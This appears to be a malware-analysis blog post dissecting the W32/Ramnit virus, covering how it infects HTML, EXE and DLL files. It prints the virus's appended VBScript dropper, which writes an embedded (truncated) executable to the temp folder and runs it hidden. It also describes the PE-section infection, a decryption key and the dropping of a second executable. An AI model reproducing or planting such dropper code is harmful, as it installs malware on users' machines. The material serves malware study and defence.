Today we’re going to take a look at an interesting file-infector virus. W32/Ramnit infects EXE, DLL and HTML files. That last one is right; W32/Ramnit also infects HTML files to replicate itself.
Let’s start with the components of this thread. W32/Ramnit has basically three components. The infector, the infected code in EXE/DLL files, and the infected code in HTML files.
The most simple of the three is the HTML infection code. This is just a piece of Visual Basic Script code added to the end of any HTML file that the virus can find at the target machine. By looking at the code, we can see it’s very simple indeed:
</html> <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300000004000 ”¦ 0000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT>
In the preceding we can see the code assigning the name svchost.exe to a variable, and then assigning a big chunk of data to variable WriteData. If you take a close look at that data, you will notice that is starts with 4D 5A. This is usually the magic number for PE files; i.e., this is the signature of a Windows executable file.
So this variable contains a hex representation of a PE file. After that, the code tries to create a filename by joining the name of the file in the variable DropFileName with the result of VBS GetSpecialFolder(2) function. This function returns the %TEMP% path in Windows. Afterward, it tries to write the hex data to this file, but by transforming the hex representation to real hex bytes. This creates a binary file with the content of the variable WriteData. Later, the script tries to execute the newly created file with WSHshell.Run DropPath, 0.
The file itself is a copy of the infector component of W32/Ramnit, which we’ll take a look later. But first, let’s see what code is added to PE/DLL files first.
Any file infected by W32/Ramnit, either an EXE or a DLL file, will have some common characteristics.
The infection works by adding an extra section at the end of the file, and this section is usually named .ramnit. The code entry point is changed to point to the start of this section, where the virus code is located.
This code is just a dropper. It contain am embedded executable that is dropped in the system, and executed at the end. Looking at the code, we can see it’s very simple:
As we can see, the virus uses an interesting method to get its starting address. Right after saving the flags, it calls 0x48b006, which is the next instruction; this will put the address of next instruction at the top of stack as the return address for this call. It then saves this value in EAX.
The virus then takes the value in EAX, which is the address 0x0048b006, and subtracts an offset to the beginning of the code. Because there are 6 bytes to the instruction PUSHAD, this is the value subtracted from EAX. This register now points to the beginning of the infection code. The virus will use this information later to find the original entry point (OEP). This value is saved in a variable.
Next, the virus looks for the import table of the original file, and tries to find the address for LoadLibraryA() and GetProcAddress(). These offsets are all precalculated by the infector at the moment of infection.
When the virus has the addresses for these functions, it starts to load the other imports it will need:
After loading all necessary functions, the virus checks if another copy is not running before continuing:
The Mutex name and the other variables mentioned above are all located at the end of the virus code.
Having all the information it needs now, the virus proceed to decrypt the embedded file that will be dropped. The encryption is a simple XOR base with a 0×14-bytes key. The key is stored in reverse order, so the code below will use it from last to first byte. The key itself in reversed order is: 8A 27 0E 94 C1 12 F8 F3 E7 8B C5 ED 35 18 26 9C 52 3A B8.
Here is the decryption code:
After a few executions of the loop, one can see the typical PE header showing up on the memory dump.
Having decrypted the whole file, the virus code tries to create a new name for the dropped file. This name will be created based on the infected file name plus the string “Srv.” For example, if the infected file is named sample.exe, the dropped file name will be sampleSrv.exe:
After writing the decrypted content to this new file, the virus code tries to execute it by calling CreateProcessA(). With all this done, the only thing missing is for the virus code to return to the OEP and pass control back to the original executable. This is done by calculating the offset from the beginning of virus code to the OEP:
As we can see, the offset is stored in a local variable, and is calculated at infection time. This is always relative to the beginning of the virus code, although in some cases the original file is corrupted by the virus code.
In the next post, we’ll take a look at how the infection occurs by analyzing the infector component of W32/Ramnit.